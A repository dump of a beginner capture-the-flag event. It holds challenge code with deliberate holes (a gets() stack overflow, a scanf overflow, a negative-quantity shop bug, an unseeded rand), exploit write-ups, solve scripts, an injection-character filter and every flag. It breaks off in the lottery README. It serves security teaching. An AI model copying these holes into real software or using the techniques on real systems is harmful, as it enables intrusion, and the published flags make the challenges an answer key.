├── .gitignore
├── flag-shop
├── .gitignore
├── .dockerignore
├── assets
│ ├── orso.jpg
│ └── mucca.png
├── views
│ ├── mucca.ejs
│ ├── orso.ejs
│ └── index.ejs
├── Dockerfile
├── package.json
├── README.md
├── index.js
└── package-lock.json
├── hidden-flag
├── .gitignore
├── robots.txt
├── .dockerignore
├── public
│ └── img
│ │ └── rob.jpg
├── Dockerfile
├── package.json
├── README.md
├── index.js
└── package-lock.json
├── .dockerignore
├── unzip
├── flag.txt
├── flag999.zip
├── solve.py
└── readme.md
├── unzip_pt2
├── flag.txt
├── flag.zip
└── README.md
├── psw_check
├── flag.txt
├── psw_checker
├── README.md
├── Dockerfile
├── psw_checker.c
├── solver.py
└── password.txt
├── eight
├── output
├── encryption.py
└── README.md
├── scope
├── flag.txt
├── scope
├── Dockerfile
├── README.md
└── main.c
├── buff1
├── buff1
├── README.md
├── Dockerfile
├── main.c
└── exp.py
├── login
├── login
├── Dockerfile
├── README.md
└── main.c
├── lottery
├── lottery
├── Dockerfile
├── README.md
└── lottery.c
├── magic
├── magic.zip
└── README.md
├── flag-hash
├── index.css
├── Dockerfile
├── index.php
└── README.md
├── tree-lover
├── tree.png
├── info.txt
├── README.md
└── solve.txt
├── havcebin
├── go.mod
├── go.sum
├── paste.go
├── http
│ ├── html
│ │ ├── html.go
│ │ ├── code.html
│ │ └── index.html
│ ├── paste.go
│ └── server.go
├── filesystem
│ ├── sanitize.go
│ └── filesystem.go
├── generate
│ ├── bytes.go
│ └── string.go
├── Dockerfile
├── readme.users.md
├── README.md
└── cmd
│ └── havcebind
│ └── main.go
├── onion-message
├── onion.jpg
└── README.md
├── secure-login
├── secure-login
├── README.md
└── secure-login.c
├── telecomunication
├── caputre.pcap
└── README.md
├── .env.sample
├── quiz
├── Dockerfile
├── README.md
├── solve.py
└── main.go
├── romecrypt
└── README.md
├── i-know-hashes
├── README.md
└── hashes.py
├── README.md
└── docker-compose.yml
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | .env
--------------------------------------------------------------------------------
/flag-shop/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
--------------------------------------------------------------------------------
/hidden-flag/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
--------------------------------------------------------------------------------
/.dockerignore:
--------------------------------------------------------------------------------
1 | README.md
2 | .env
3 | .env.sample
4 |
--------------------------------------------------------------------------------
/flag-shop/.dockerignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | README.md
--------------------------------------------------------------------------------
/hidden-flag/robots.txt:
--------------------------------------------------------------------------------
1 | Disallow: *
2 | /sourcecode
--------------------------------------------------------------------------------
/hidden-flag/.dockerignore:
--------------------------------------------------------------------------------
1 | README.md
2 | Dockerfile
3 |
--------------------------------------------------------------------------------
/unzip/flag.txt:
--------------------------------------------------------------------------------
1 | havceCTF{hope_you_unzipp3d_with_script}
2 |
--------------------------------------------------------------------------------
/unzip_pt2/flag.txt:
--------------------------------------------------------------------------------
1 | havceCTF{j0hn_th3_r1pp3r_p0w4!}
2 |
--------------------------------------------------------------------------------
/psw_check/flag.txt:
--------------------------------------------------------------------------------
1 | havceCTF{d1d_you_scr1pt_that_right?}
2 |
--------------------------------------------------------------------------------
/eight/output:
--------------------------------------------------------------------------------
1 | 3Vwr048Kp8zOWW3vhHmH1c0NL++deIfi6lYzgJ0nrPrZCWzennqL/sg=
--------------------------------------------------------------------------------
/scope/flag.txt:
--------------------------------------------------------------------------------
1 | havceCTF{1his_1s_4ctually_a_vuln_f00und_1n_th3_w1iiild}
2 |
--------------------------------------------------------------------------------
/buff1/buff1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/buff1/buff1
--------------------------------------------------------------------------------
/login/login:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/login/login
--------------------------------------------------------------------------------
/scope/scope:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/scope/scope
--------------------------------------------------------------------------------
/lottery/lottery:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/lottery/lottery
--------------------------------------------------------------------------------
/magic/magic.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/magic/magic.zip
--------------------------------------------------------------------------------
/unzip/flag999.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/unzip/flag999.zip
--------------------------------------------------------------------------------
/flag-hash/index.css:
--------------------------------------------------------------------------------
1 | .center{
2 | margin: auto;
3 | width: 50%;
4 | padding: 10px;
5 | }
--------------------------------------------------------------------------------
/tree-lover/tree.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/tree-lover/tree.png
--------------------------------------------------------------------------------
/unzip_pt2/flag.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/unzip_pt2/flag.zip
--------------------------------------------------------------------------------
/havcebin/go.mod:
--------------------------------------------------------------------------------
1 | module havcebin
2 |
3 | go 1.19
4 |
5 | require github.com/go-chi/chi/v5 v5.0.7
6 |
--------------------------------------------------------------------------------
/psw_check/psw_checker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/psw_check/psw_checker
--------------------------------------------------------------------------------
/flag-shop/assets/orso.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/flag-shop/assets/orso.jpg
--------------------------------------------------------------------------------
/onion-message/onion.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/onion-message/onion.jpg
--------------------------------------------------------------------------------
/secure-login/secure-login:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/secure-login/secure-login
--------------------------------------------------------------------------------
/tree-lover/info.txt:
--------------------------------------------------------------------------------
1 | 00011100000010101000101000110101001011111001001001010010000100000000100011001011
2 |
--------------------------------------------------------------------------------
/flag-shop/assets/mucca.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/flag-shop/assets/mucca.png
--------------------------------------------------------------------------------
/hidden-flag/public/img/rob.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/hidden-flag/public/img/rob.jpg
--------------------------------------------------------------------------------
/telecomunication/caputre.pcap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/havce/beginnerCTF-2022/HEAD/telecomunication/caputre.pcap
--------------------------------------------------------------------------------
/flag-hash/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0-apache
2 |
3 | COPY ./index.php /var/www/html
4 | COPY ./index.css /var/www/html
5 |
--------------------------------------------------------------------------------
/flag-shop/views/mucca.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | complimenti hai comprato <%= qty %> mucca(che).
5 |
6 |
7 |
--------------------------------------------------------------------------------
/flag-shop/views/orso.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | complimenti hai comprato <%= qty %> orso(i)
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/havcebin/go.sum:
--------------------------------------------------------------------------------
1 | github.com/go-chi/chi/v5 v5.0.7 h1:rDTPXLDHGATaeHvVlLcR4Qe0zftYethFucbjVQ1PxU8=
2 | github.com/go-chi/chi/v5 v5.0.7/go.mod h1:DslCQbL2OYiznFReuXYUmQ2hGd1aDpCnlMNITLSKoi8=
3 |
--------------------------------------------------------------------------------
/tree-lover/README.md:
--------------------------------------------------------------------------------
1 | # tree-lover
2 | ## Description
3 | > You won't love leaves as much as you do now.
4 |
5 | *Author: [@Ferr0x](https://github.com/Ferr0x)*
6 | ## Flag
7 | `havceCTF{Tree_1over}`
8 |
--------------------------------------------------------------------------------
/unzip/solve.py:
--------------------------------------------------------------------------------
1 | import zipfile
2 | import os
3 | i = 999
4 | while i >= 0:
5 | with zipfile.ZipFile(f'flag{i}.zip', 'r') as zip_ref:
6 | zip_ref.extractall('./')
7 | os.remove(f'flag{i}.zip')
8 | i-=1
--------------------------------------------------------------------------------
/tree-lover/solve.txt:
--------------------------------------------------------------------------------
1 | nella challenge ti veniva dato un insieme di 0 e 1 che significavano rispettivamente sinistra e destra con la quale potevi muoverti nell'albero e trovare i caratteri della flag.
2 |
3 | flag : havceCTF{Tree_1over}
4 |
--------------------------------------------------------------------------------
/unzip/readme.md:
--------------------------------------------------------------------------------
1 | # unzip
2 | ## Description
3 | > Just need to unzip 1000 zip to find the flag. Script it.
4 |
5 | *Author: [@sichej](https://github.com/sichej)*
6 |
7 | ## Flag
8 | `havceCTF{hope_you_unzipp3d_with_script}`
9 |
10 |
--------------------------------------------------------------------------------
/flag-shop/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:16
2 |
3 | # Create app directory
4 | WORKDIR /usr/src/app
5 |
6 | COPY package*.json ./
7 |
8 | RUN npm install
9 |
10 | # Bundle app source
11 | COPY . .
12 |
13 | EXPOSE 3000
14 | USER node
15 |
16 | CMD [ "node", "index.js" ]
--------------------------------------------------------------------------------
/telecomunication/README.md:
--------------------------------------------------------------------------------
1 | # Telecomunication
2 |
3 | ## Description
4 | > I remotely logged into my machine... I hope nobody could read my password!
5 |
6 | *Author: [@Artio](https://github.com/AndreaArtioli)*
7 |
8 | ## Flag
9 | `havceCTF{t3ln37_1s_1337}`
10 |
--------------------------------------------------------------------------------
/havcebin/paste.go:
--------------------------------------------------------------------------------
1 | package havcebin
2 |
3 | import "context"
4 |
5 | type Paste struct {
6 | Name string
7 | Content string
8 | }
9 |
10 | type PasteService interface {
11 | SavePaste(ctx context.Context, name string, content string) error
12 | LoadPaste(ctx context.Context, name string) (string, error)
13 | }
14 |
--------------------------------------------------------------------------------
/hidden-flag/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:alpine
2 |
3 | RUN mkdir -p /home/node/app/node_modules && chown -R node:node /home/node/app
4 |
5 | WORKDIR /home/node/app
6 |
7 | COPY --chown=node:node package*.json ./
8 |
9 | USER node
10 | RUN npm install
11 | COPY --chown=node:node . .
12 | EXPOSE 3000
13 | CMD [ "node", "index.js" ]
--------------------------------------------------------------------------------
/psw_check/README.md:
--------------------------------------------------------------------------------
1 | # psw_check
2 | ## Description
3 |
4 | >I found this dictionary that contains a lot of passwords but i don't know which one is the correct one. Can you write a script that checks them all?
5 | >the username is admin.
6 |
7 | *Author: [@Ferr0x](https://github.com/Ferr0x)*
8 | ## Flag
9 | `havceCTF{d1d_you_scr1pt_that_right?}`
--------------------------------------------------------------------------------
/.env.sample:
--------------------------------------------------------------------------------
1 | FLAG_BUFF1=havceCTF{buff1}
2 | FLAG_HASH=havceCTF{hash}
3 | FLAG_HAVCEBIN=havceCTF{havcebin}
4 | FLAG_LOGIN=havceCTF{login}
5 | FLAG_LOTTERY=havceCTF{lottery}
6 | FLAG_QUIZ=havceCTF{quiz}
7 | FLAG_HIDDEN_FLAG=havceCTF{hidden_flag}
8 | FLAG_SHOP=havceCTF{shop}
9 | FLAG_PSW_CHECK=havceCTF{psw_check}
10 | FLAG_SCOPE=havceCTF{scope}
--------------------------------------------------------------------------------
/quiz/Dockerfile:
--------------------------------------------------------------------------------
1 | # syntax=docker/dockerfile:1
2 | FROM golang:1.19-alpine AS build
3 | ENV CGO_ENABLED=0
4 |
5 | WORKDIR /app
6 |
7 | COPY ./main.go ./
8 |
9 | RUN go build -o quiz ./main.go
10 |
11 | FROM gcr.io/distroless/static
12 |
13 | COPY --from=build /app/quiz /quiz
14 |
15 | EXPOSE 1337
16 |
17 | USER nonroot
18 | CMD ["/quiz"]
19 |
--------------------------------------------------------------------------------
/quiz/README.md:
--------------------------------------------------------------------------------
1 | # quiz
2 | ## Description
3 | > Ladies and gentlemen, the Trivial Pursuit havce edition has arrived!
4 | > Will you be able to solve all the questions and earn a flag?
5 |
6 | *Author: [@kriive](https://github.com/kriive)*
7 | ## Solution
8 | Run the provided solve script `solve.py`.
9 |
10 | ## Flag
11 | `havceCTF{dottor_scottiiiiiiiiiiiiiiiiiiii}`
12 |
--------------------------------------------------------------------------------
/hidden-flag/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "hidden-flag",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1",
8 | "start": "node index.js"
9 | },
10 | "author": "Sichej",
11 | "license": "ISC",
12 | "dependencies": {
13 | "express": "^4.18.2"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/havcebin/http/html/html.go:
--------------------------------------------------------------------------------
1 | package html
2 |
3 | import (
4 | _ "embed"
5 | "html/template"
6 | )
7 |
8 | //go:embed index.html
9 | var indexPage string
10 |
11 | //go:embed code.html
12 | var codePage string
13 |
14 | func GetIndex() string {
15 | return indexPage
16 | }
17 |
18 | func GetCodeTemplate() (*template.Template, error) {
19 | return template.New("code").Parse(codePage)
20 | }
21 |
--------------------------------------------------------------------------------
/eight/encryption.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | import os
4 | from base64 import b64encode
5 | from secret import flag
6 |
7 | def xor(pt, key):
8 | NTIMES = int(len(pt) / len(key))+1
9 | return bytes([ x ^ y for x,y in zip(pt, key*NTIMES)])
10 |
11 | # Look at how many combinations...
12 | key = os.urandom(8)
13 |
14 | with open("output", "w") as output_file:
15 | output_file.write(b64encode(xor(flag, key)).decode())
16 |
17 |
--------------------------------------------------------------------------------
/onion-message/README.md:
--------------------------------------------------------------------------------
1 | # Onion message
2 | Remember that real hackers always use onion to hide themselves.
3 |
4 | *Author: [@sioel0](https://github.com/sioel0)*
5 | ## Solution
6 | The flag was hidden as a comment of the immage, it was "hex-enocoded".
7 | You just had to use `file onion.jpg` to find out the comment and then you
8 | had to convert it from hex to ASCII.
9 |
10 | ## Flag
11 | havceCTF{re4l_h4ck3rz_e4t_on10ns1!1!}
12 |
--------------------------------------------------------------------------------
/havcebin/filesystem/sanitize.go:
--------------------------------------------------------------------------------
1 | package filesystem
2 |
3 | import "strings"
4 |
5 | // sanitizeName removes suspect chars.
6 | func sanitizeName(name string) string {
7 | name = strings.ReplaceAll(name, "$", "")
8 | name = strings.ReplaceAll(name, ";", "")
9 | name = strings.ReplaceAll(name, "{", "")
10 | name = strings.ReplaceAll(name, "}", "")
11 | name = strings.ReplaceAll(name, "\"", "")
12 | return strings.ReplaceAll(name, "../", "")
13 | }
14 |
--------------------------------------------------------------------------------
/flag-shop/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "flag-shop",
3 | "version": "1.0.0",
4 | "description": "A flag shop. Secure.",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [
10 | "flag"
11 | ],
12 | "author": "kriive",
13 | "license": "WTFPL",
14 | "dependencies": {
15 | "ejs": "^3.1.8",
16 | "express": "^4.18.2",
17 | "express-session": "^1.17.3"
18 | }
19 | }
20 |
--------------------------------------------------------------------------------
/quiz/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | io = connect("quiz.chals.beginner.havce.it", 31339)
4 |
5 | io.recvuntil(b"Let's start!\n")
6 |
7 | for i in range(50):
8 | io.recvuntil(b"submit ")
9 | line = io.recvline().strip()
10 |
11 | # Actually dangerous. Run `eval` on user data only
12 | # when the user is at punch-in-the-face-able distance.
13 | # `eval` allows an user to execute arbitrary Python code.
14 | io.sendlineafter(b"> ", str(eval(line)).encode())
15 |
16 | io.interactive()
17 |
--------------------------------------------------------------------------------
/buff1/README.md:
--------------------------------------------------------------------------------
1 | # buff1
2 | ## Description
3 | > can u call the win function?
4 |
5 | *Author: [@Ferr0x](https://github.com/Ferr0x)*
6 | ## Solution
7 | There is a buffer overflow vulnerability when using `gets`.
8 |
9 | Since the binary is compiled without a stack canary and isn't position independent,
10 | we can overwrite the return address of the `main` function with the address of `win`.
11 |
12 | You can see a simple solve script in [exp.py](exp.py).
13 |
14 | ## Flag
15 | `havceCTF{ret2win_is_way_t0o_easy}`
16 |
17 |
--------------------------------------------------------------------------------
/romecrypt/README.md:
--------------------------------------------------------------------------------
1 | # romecrypt
2 | ## Description
3 | > Julius Caesar gave me this, he told me everybody knew how to decrypt this at the time: `uniprPGS{gu1f_1f_a0g_i3el_f3phe3}`
4 |
5 | *Author: [@devgianlu](https://github.com/devgianlu)*
6 | ## Flag
7 | `havceCTF{th1s_1s_n0t_v3ry_s3cur3}`
8 |
9 | ## Solution
10 |
11 | The flag is encoded using an algorithm called rot13 (or Caesar Cipher), it simly shifts the letters 13 characters and doesn't
12 | move numbers or symbols. Fun fact: you can see how our team name was created.
--------------------------------------------------------------------------------
/unzip_pt2/README.md:
--------------------------------------------------------------------------------
1 | # Unzip pt.2
2 | ## Description
3 | > Let's Rock n Roll
4 |
5 | *Author: [@sioel0](https://github.com/sioel0)*
6 | ## Solution
7 | To solve this challenge you have use john_the_ripper that is a tool to brute force passwords.
8 | One of the most famous wordlist for john_the_ripper is called Rock_you.txt.
9 | You had to use `zip2john flag.zip > flah.hashes` then you had to use `john --wordlist=Rock_you.txt`.
10 | Once you find the password just use `unzip flag.zip`.
11 |
12 | ## Flag
13 | `havceCTF{j0hn_th3_r1pp3r_p0w4!}`
14 |
--------------------------------------------------------------------------------
/havcebin/generate/bytes.go:
--------------------------------------------------------------------------------
1 | package generate
2 |
3 | import "crypto/rand"
4 |
5 | // RandomBytes returns securely generated random bytes.
6 | // It will return an error if the system's secure random
7 | // number generator fails to function correctly, in which
8 | // case the caller should not continue.
9 | func RandomBytes(n int) ([]byte, error) {
10 | b := make([]byte, n)
11 | _, err := rand.Read(b)
12 | // Note that err == nil only if we read len(b) bytes.
13 | if err != nil {
14 | return nil, err
15 | }
16 |
17 | return b, nil
18 | }
19 |
--------------------------------------------------------------------------------
/secure-login/README.md:
--------------------------------------------------------------------------------
1 | # Secure login
2 |
3 | ## Description
4 | > My employer asked me to create a secure login system for our company, it was super easy. Now we are protected... aren't we?
5 |
6 | *Author: [@samuelevalperta](https://github.com/samuelevalperta)*
7 | ## Solution
8 | The correct password to log-in is hardcoded in the binary file without any obfuscation.
9 | With the command `strings secure-login` you are able to print all the strings saved on the binary, including the flag.
10 |
11 | ## Flag
12 | `havceCTF{m4yb3_n0t_s0_s3cur3}`
13 |
--------------------------------------------------------------------------------
/i-know-hashes/README.md:
--------------------------------------------------------------------------------
1 | # i-know-hashes
2 | ## Description
3 | > Don't worry, I know how hashes work.
4 |
5 | *Author: [@devgianlu](https://github.com/devgianlu)*
6 | ## Flag
7 | `havceCTF{th4t_1s_n0t_h0w_h4sh3s_w0rk}`
8 |
9 | ## Solution
10 | This challenge shows poor handling of hashes, hashing one character at a time produces very week
11 | hashes that can be bruteforced very easily or looked up on sites that provide a table of known
12 | hashes (e.g. https://crackstation.net/). By using one of the methods above you can fully recover
13 | the flag.
--------------------------------------------------------------------------------
/havcebin/generate/string.go:
--------------------------------------------------------------------------------
1 | package generate
2 |
3 | import (
4 | "strings"
5 | )
6 |
7 | // StringFromAlphabet generates a n-length string from an alphabet
8 | // using the system's secure random number generator.
9 | func StringFromAlphabet(n int, alphabet string) (string, error) {
10 | arune := []rune(alphabet)
11 |
12 | bytes, err := RandomBytes(n)
13 | if err != nil {
14 | return "", err
15 | }
16 |
17 | var out strings.Builder
18 |
19 | for _, b := range bytes {
20 | out.WriteRune(arune[int(b)%len(arune)])
21 | }
22 |
23 | return out.String(), nil
24 | }
25 |
--------------------------------------------------------------------------------
/flag-shop/README.md:
--------------------------------------------------------------------------------
1 | # flag-shop
2 | ## Description
3 | > There is a new e-commerce in the city. Can you buy a flag for me?
4 | > I know it's a bit expensive, but please try!
5 |
6 | *Authors: [@Ferr0x](https://github.com/Ferr0x), [@kriive](https://github.com/kriive)*
7 | ## Solution
8 | There is a bug when the new credit is computed after buying
9 | something. If the quantity of the item is below zero, you can
10 | add money to your account! Simply buy -10000000 cows and
11 | you're set.
12 |
13 | ## Flag
14 | `havceCTF{d0nt_lo0k_at_0ur_w3b_d3s1gn_sk1llz_als0_r3m3mb3r_t0_ch3ck_f0r_n3g4t1v3s}`
--------------------------------------------------------------------------------
/eight/README.md:
--------------------------------------------------------------------------------
1 | # Eigth
2 |
3 | ## Description
4 | > I've heard that bit-a-bit cryptography is secure... so a byte-a-byte encryption is 8 times more secure!
5 |
6 | *Author: [@Artio](https://github.com/AndreaArtioli)*
7 | ## Flag
8 | `havceCTF{d0_n0t_x0r_w1th_kn0wn_pl41nt3xt}`
9 |
10 | ## Solution
11 |
12 | The "flag format" is eight bytes long `havceCTF`, that means that we know the first eight bytes of what
13 | is encoded, but the key is also eight bytes. This way we can entirely recover the key by xoring the first
14 | eight bytes of ciphertext with `havceCTF`, then we can recover the rest of the flag.
--------------------------------------------------------------------------------
/havcebin/Dockerfile:
--------------------------------------------------------------------------------
1 | # syntax=docker/dockerfile:1
2 |
3 | FROM golang:1.19-alpine AS build
4 | ENV CGO_ENABLED=0
5 |
6 | WORKDIR /app
7 |
8 | COPY ./go.mod ./
9 | COPY ./go.sum ./
10 |
11 | RUN go mod download
12 |
13 | COPY ./ ./
14 |
15 | RUN go build -o havcebin ./cmd/havcebind
16 |
17 | FROM alpine:3.17
18 |
19 | COPY --from=build /app/havcebin /havcebin
20 |
21 | RUN adduser -D -S havcebin
22 |
23 | RUN mkdir -p /home/havcebin/.storage && chown -R havcebin /home/havcebin
24 |
25 | USER havcebin
26 | CMD ["/bin/sh", "-c", "echo \"${FLAG}\" > /home/havcebin/flag.txt && /havcebin -save-dir ~/.storage"]
27 |
--------------------------------------------------------------------------------
/psw_check/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ghcr.io/google/nsjail/nsjail:latest
2 |
3 | RUN mkdir -p /task
4 | WORKDIR /task
5 | ADD ./psw_checker /task/psw_checker
6 |
7 | CMD ["sh", "-c", "nsjail -Ml --port 3001 --user 1000 --group 1000 --disable_proc --chroot /task -E FLAG -R /lib/x86_64-linux-gnu/libpthread.so.0 -R /lib/x86_64-linux-gnu/libdl.so.2 -R /lib/x86_64-linux-gnu/libpcre.so.3 -R /lib/x86_64-linux-gnu/libselinux.so.1 -R /lib/x86_64-linux-gnu/ld-2.27.so -R /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 -R /lib/x86_64-linux-gnu/libc-2.27.so -R /lib/x86_64-linux-gnu/libc.so.6 -R /lib64/ -R /bin/sh -R /bin/ls -R /bin/cat /psw_checker"]
8 |
--------------------------------------------------------------------------------
/buff1/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ghcr.io/google/nsjail/nsjail:latest
2 |
3 | RUN mkdir -p /task
4 | WORKDIR /task
5 | ADD buff1 /task/buff1
6 |
7 | CMD ["sh", "-c", "echo \"${FLAG}\" > /task/flag.txt && nsjail -Ml --port 3001 --user 1000 --group 1000 --disable_proc --chroot /task -R /lib/x86_64-linux-gnu/libpthread.so.0 -R /lib/x86_64-linux-gnu/libdl.so.2 -R /lib/x86_64-linux-gnu/libpcre.so.3 -R /lib/x86_64-linux-gnu/libselinux.so.1 -R /lib/x86_64-linux-gnu/ld-2.27.so -R /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 -R /lib/x86_64-linux-gnu/libc-2.27.so -R /lib/x86_64-linux-gnu/libc.so.6 -R /lib64/ -R /bin/sh -R /bin/ls -R /bin/cat /buff1"]
8 |
--------------------------------------------------------------------------------
/login/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ghcr.io/google/nsjail/nsjail:latest
2 |
3 | RUN mkdir -p /task
4 | WORKDIR /task
5 | ADD login /task/login
6 |
7 | CMD ["sh", "-c", "echo \"${FLAG}\" > /task/flag.txt && nsjail -Ml --port 3001 --user 1000 --group 1000 --disable_proc --chroot /task -R /lib/x86_64-linux-gnu/libpthread.so.0 -R /lib/x86_64-linux-gnu/libdl.so.2 -R /lib/x86_64-linux-gnu/libpcre.so.3 -R /lib/x86_64-linux-gnu/libselinux.so.1 -R /lib/x86_64-linux-gnu/ld-2.27.so -R /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 -R /lib/x86_64-linux-gnu/libc-2.27.so -R /lib/x86_64-linux-gnu/libc.so.6 -R /lib64/ -R /bin/sh -R /bin/ls -R /bin/cat /login"]
8 |
--------------------------------------------------------------------------------
/magic/README.md:
--------------------------------------------------------------------------------
1 | # Magic
2 |
3 | ## Description
4 | > There seems to be no way to extract this zip... Maybe it's something else
5 |
6 | *Author: [@samuelevalperta](https://github.com/samuelevalperta)*
7 | ## Solution
8 | [Magic bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) are the first few bytes of a file and are used to identify its content.
9 | The `file magic.zip` command is able to read these bytes and tell us the real file format of `magic.zip` (which is `png`).
10 | We only have to rename `magic.zip` to `magic.png` and open it to get the flag.
11 |
12 | ## Flag
13 | `havceCTF{m4g1c_byt3s_n3v3r_li3}`
--------------------------------------------------------------------------------
/lottery/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ghcr.io/google/nsjail/nsjail:latest
2 |
3 | RUN mkdir -p /task
4 | WORKDIR /task
5 | ADD lottery /task/lottery
6 |
7 | CMD ["sh", "-c", "echo \"${FLAG}\" > /task/flag.txt && nsjail -Ml --port 3001 --user 1000 --group 1000 --disable_proc --chroot /task -R /lib/x86_64-linux-gnu/libpthread.so.0 -R /lib/x86_64-linux-gnu/libdl.so.2 -R /lib/x86_64-linux-gnu/libpcre.so.3 -R /lib/x86_64-linux-gnu/libselinux.so.1 -R /lib/x86_64-linux-gnu/ld-2.27.so -R /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 -R /lib/x86_64-linux-gnu/libc-2.27.so -R /lib/x86_64-linux-gnu/libc.so.6 -R /lib64/ -R /bin/sh -R /bin/ls -R /bin/cat /lottery"]
8 |
--------------------------------------------------------------------------------
/buff1/main.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #define BUF_SIZE 64
7 |
8 | void win() {
9 | puts("Well done! Here's a gift for you ");
10 | char flag[BUF_SIZE];
11 |
12 | int fd = open("./flag.txt", O_RDONLY);
13 | read(fd, flag, BUF_SIZE - 1);
14 | flag[BUF_SIZE - 1] = '\0';
15 |
16 | write(1, flag, BUF_SIZE);
17 | }
18 |
19 | int main(void) {
20 | setbuf(stdout, NULL);
21 | setbuf(stdin, NULL);
22 | setbuf(stderr, NULL);
23 |
24 | puts("Hey, what's your name?");
25 | char name[BUF_SIZE];
26 |
27 | gets(name);
28 | printf("Hi %s! Hope you're doing well.\n", name);
29 | }
--------------------------------------------------------------------------------
/scope/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ghcr.io/google/nsjail/nsjail:latest
2 |
3 | RUN mkdir -p /task
4 | WORKDIR /task
5 | ADD scope /task/scope
6 |
7 | CMD ["sh", "-c", "echo \"${FLAG}\" > /task/flag.txt && mkdir /task/users && nsjail -Ml --port 3001 --user 1000 --group 1000 --disable_proc --chroot /task -R /lib/x86_64-linux-gnu/libpthread.so.0 -R /lib/x86_64-linux-gnu/libdl.so.2 -R /lib/x86_64-linux-gnu/libpcre.so.3 -R /lib/x86_64-linux-gnu/libselinux.so.1 -R /lib/x86_64-linux-gnu/ld-2.27.so -R /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 -R /lib/x86_64-linux-gnu/libc-2.27.so -R /lib/x86_64-linux-gnu/libc.so.6 -R /lib64/ -R /bin/sh -R /bin/ls -R /bin/cat -B /task/users:/users /scope"]
8 |
--------------------------------------------------------------------------------
/hidden-flag/README.md:
--------------------------------------------------------------------------------
1 | # hidden-flag
2 | ## Description
3 | > I forgot where i put the flag, can you help me find it?
4 |
5 | *Author: [@sichej](https://github.com/sichej)*
6 | ## Flag
7 | `havceCTF{alw4ys_remember_to_ch3ck_robots.txt}`
8 |
9 | ## Writeup
10 | The robot image suggests you to take a look at the robots.txt file, (it's often present on website not just on this CTF) [robots.txt](https://it.wikipedia.org/wiki/Protocollo_di_esclusione_robot). You can see the `/soucecode` endpoint, follow it so you can see the souce of the application.
11 |
12 | ``` javascript
13 | app.get('/GoToThis3ndP0intTOGetd4Fl4g', (req, res) => {
14 | res.send(process.env.FLAG);
15 | })
16 | ```
17 | This is the endpoint fot the flag.
--------------------------------------------------------------------------------
/login/README.md:
--------------------------------------------------------------------------------
1 | # login
2 | ## Description
3 | > You need just to login to read the flag.
4 |
5 | *Author: [@Ferr0x](https://github.com/Ferr0x)*
6 | ## Solution
7 | There are three buffer overflow vulnerabilities, when using the `"%s"` format string inside `scanf`.
8 | The `"%s"` format string allows an attacker to input unlimited numbers of characters.
9 |
10 | We can use the `scanf("%s", cf);` to fill the `cf` field of the struct and then overwrite the `auth` field
11 | with something different from `0` (everything != 0 is *truthy* in C).
12 |
13 | We could send something like this to retrieve the flag: `b"A" * 16 + b"Z"`.
14 | (Please note that `Z` in ASCII is `0x5a`, so the auth field would contain `0x5a`, which is different from `0`)
15 |
16 | ## Flag
17 | `havceCTF{did_u_enjoy_th3_overlow?}`
18 |
--------------------------------------------------------------------------------
/lottery/README.md:
--------------------------------------------------------------------------------
1 | # Lottery
2 | ## Description
3 | > This lottery is soooooo boring...
4 |
5 | *Author: [@kriive](https://github.com/kriive)*
6 | ## Solution
7 | The function `rand()` is called without calling `srand()` first, so the
8 | magic guess number is predictable.
9 |
10 | Per the man page of `rand(3)`:
11 | > If no seed value is provided, the rand() function is automatically
12 | > seeded with a value of 1.
13 |
